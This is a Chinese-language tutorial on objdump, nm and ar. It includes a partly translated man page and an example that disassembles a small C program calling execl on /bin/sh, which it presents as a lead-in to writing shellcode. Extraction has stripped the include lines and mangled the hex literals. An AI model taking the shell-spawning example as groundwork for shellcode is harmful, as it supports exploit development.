★ 测试练习前的准备工作

cp /usr/lib/libpcap.a /home/scz/src
nm -s libpcap.a | more
ar tv libpcap.a
ar xv libpcap.a inet.o
nm -s inet.o

关于nm -s的显示请自己man nm查看

★ Redhat 6.0 objdump命令的man手册

objdump – 显示二进制文件信息

objdump
[-a] [-b bfdname |
--target=bfdname] [-C] [--debugging]
[-d] [-D]
[--disassemble-zeroes]
[-EB|-EL|--endian={big|little}] [-f]
[-h] [-i|--info]
[-j section | --section=section]
[-l] [-m machine ] [--prefix-addresses]
[-r] [-R]
[-s|--full-contents] [-S|--source]
[--[no-]show-raw-insn] [--stabs] [-t]
[-T] [-x]
[--start-address=address] [--stop-address=address]
[--adjust-vma=offset] [--version] [--help]
objfile…

–archive-headers
-a 显示档案库的成员信息,与 ar tv 类似

objdump -a libpcap.a
和 ar -tv libpcap.a 显示结果比较比较
显然这个选项没有什么意思。

–adjust-vma=offset
When dumping information, first add offset to all
the section addresses. This is useful if the sec-
tion addresses do not correspond to the symbol
table, which can happen when putting sections at
particular addresses when using a format which can
not represent section addresses, such as a.out.

-b bfdname
–target=bfdname
指定目标码格式。这不是必须的,objdump能自动识别许多格式,
比如:objdump -b oasys -m vax -h fu.o
显示fu.o的头部摘要信息,明确指出该文件是Vax系统下用Oasys
编译器生成的目标文件。objdump -i将给出这里可以指定的
目标码格式列表

–demangle
-C 将底层的符号名解码成用户级名字,除了去掉所有开头
的下划线之外,还使得C++函数名以可理解的方式显示出来。

–debugging
显示调试信息。企图解析保存在文件中的调试信息并以C语言
的语法显示出来。仅仅支持某些类型的调试信息。

–disassemble
-d 反汇编那些应该还有指令机器码的section

–disassemble-all
-D 与 -d 类似,但反汇编所有section

–prefix-addresses
反汇编的时候,显示每一行的完整地址。这是一种比较老的反汇编格式。
显示效果并不理想,但可能会用到其中的某些显示,自己可以对比。

–disassemble-zeroes
一般反汇编输出将省略大块的零,该选项使得这些零块也被反汇编。

-EB
-EL
–endian={big|little}
这个选项将影响反汇编出来的指令。
little-endian就是我们当年在dos下玩汇编的时候常说的高位在高地址,
x86都是这种。

–file-headers
-f 显示objfile中每个文件的整体头部摘要信息。

–section-headers
–headers
-h 显示目标文件各个section的头部摘要信息。

–help 简短的帮助信息。

–info
-i 显示对于 -b 或者 -m 选项可用的架构和目标格式列表。

–section=name
-j name 仅仅显示指定section的信息

–line-numbers
-l 用文件名和行号标注相应的目标代码,仅仅和-d、-D或者-r一起使用
使用-ld和使用-d的区别不是很大,在源码级调试的时候有用,要求
编译时使用了-g之类的调试编译选项。

–architecture=machine
-m machine
指定反汇编目标文件时使用的架构,当待反汇编文件本身没有描述
架构信息的时候(比如S-records),这个选项很有用。可以用-i选项
列出这里能够指定的架构

–reloc
-r 显示文件的重定位入口。如果和-d或者-D一起使用,重定位部分以反汇
编后的格式显示出来。

–dynamic-reloc
-R 显示文件的动态重定位入口,仅仅对于动态目标文件有意义,比如某些
共享库。

–full-contents
-s 显示指定section的完整内容。

objdump –section=.text -s inet.o | more

–source
-S 尽可能反汇编出源代码,尤其当编译的时候指定了-g这种调试参数时,
效果比较明显。隐含了-d参数。

–show-raw-insn
反汇编的时候,显示每条汇编指令对应的机器码,除非指定了
–prefix-addresses,这将是缺省选项。

–no-show-raw-insn
反汇编时,不显示汇编指令的机器码,这是指定 –prefix-addresses
选项时的缺省设置。

–stabs
Display the contents of the .stab, .stab.index, and
.stab.excl sections from an ELF file. This is only
useful on systems (such as Solaris 2.0) in which
.stab debugging symbol-table entries are carried in
an ELF section. In most other file formats, debug-
ging symbol-table entries are interleaved with
linkage symbols, and are visible in the –syms output.

–start-address=address
从指定地址开始显示数据,该选项影响-d、-r和-s选项的输出。

–stop-address=address
显示数据直到指定地址为止,该选项影响-d、-r和-s选项的输出。

–syms
-t 显示文件的符号表入口。类似于nm -s提供的信息

–dynamic-syms
-T 显示文件的动态符号表入口,仅仅对动态目标文件有意义,比如某些
共享库。它显示的信息类似于 nm -D|–dynamic 显示的信息。

–version 版本信息

objdump –version

–all-headers
-x 显示所有可用的头信息,包括符号表、重定位入口。-x 等价于
-a -f -h -r -t 同时指定。

objdump -x inet.o

参看 nm(1)

★ objdump应用举例(待增加)

/*
g++ -g -Wstrict-prototypes -Wall -Wunused -o objtest objtest.c
*/
#include
#include
int main ( int argc, char * argv[] )
{
execl( “/bin/sh”, “/bin/sh”, “-i”, 0 );
return 0;
}

g++ -g -Wstrict-prototypes -Wall -Wunused -o objtest objtest.c
objdump -j .text -Sl objtest | more
/main(查找)

08048750 :
main():
/home/scz/src/objtest.c:7
*/
#include
#include
int main ( int argc, char * argv[] )
{
8048750: 55 pushl %ebp
8048751: 89 e5 movl %esp,%ebp
/home/scz/src/objtest.c:8
execl( “/bin/sh”, “/bin/sh”, “-i”, 0 );
8048753: 6a 00 pushl $0×0
8048755: 68 d0 87 04 08 pushl $0×80487d0
804875a: 68 d3 87 04 08 pushl $0×80487d3
804875f: 68 d3 87 04 08 pushl $0×80487d3
8048764: e8 db fe ff ff call 8048644 <_init+0×40>
8048769: 83 c4 10 addl $0×10,%esp
/home/scz/src/objtest.c:9
return 0;
804876c: 31 c0 xorl %eax,%eax
804876e: eb 04 jmp 8048774
8048770: 31 c0 xorl %eax,%eax
8048772: eb 00 jmp 8048774
/home/scz/src/objtest.c:10
}
8048774: c9 leave
8048775: c3 ret
8048776: 90 nop

如果说上面还不够清楚,可以用下面的命令辅助一下:

objdump -j .text -Sl objtest –prefix-addresses | more
objdump -j .text -Dl objtest | more

去掉调试编译选项重新编译
g++ -O3 -o objtest objtest.c
objdump -j .text -S objtest | more

08048778 :
main():
8048778: 55 pushl %ebp
8048779: 89 e5 movl %esp,%ebp
804877b: 6a 00 pushl $0×0
804877d: 68 f0 87 04 08 pushl $0×80487f0
8048782: 68 f3 87 04 08 pushl $0×80487f3
8048787: 68 f3 87 04 08 pushl $0×80487f3
804878c: e8 db fe ff ff call 804866c <_init+0×40>
8048791: 31 c0 xorl %eax,%eax
8048793: c9 leave
8048794: c3 ret
8048795: 90 nop

与前面-g编译后的二进制代码比较一下,有不少区别。

至于如何写shellcode、如何理解别人给出的shellcode,请参看华中站
系统安全版精华区中的”如何写自己的shellcode”

★ 相关命令

man objcopy
man nm
man gdb | dbx | sdb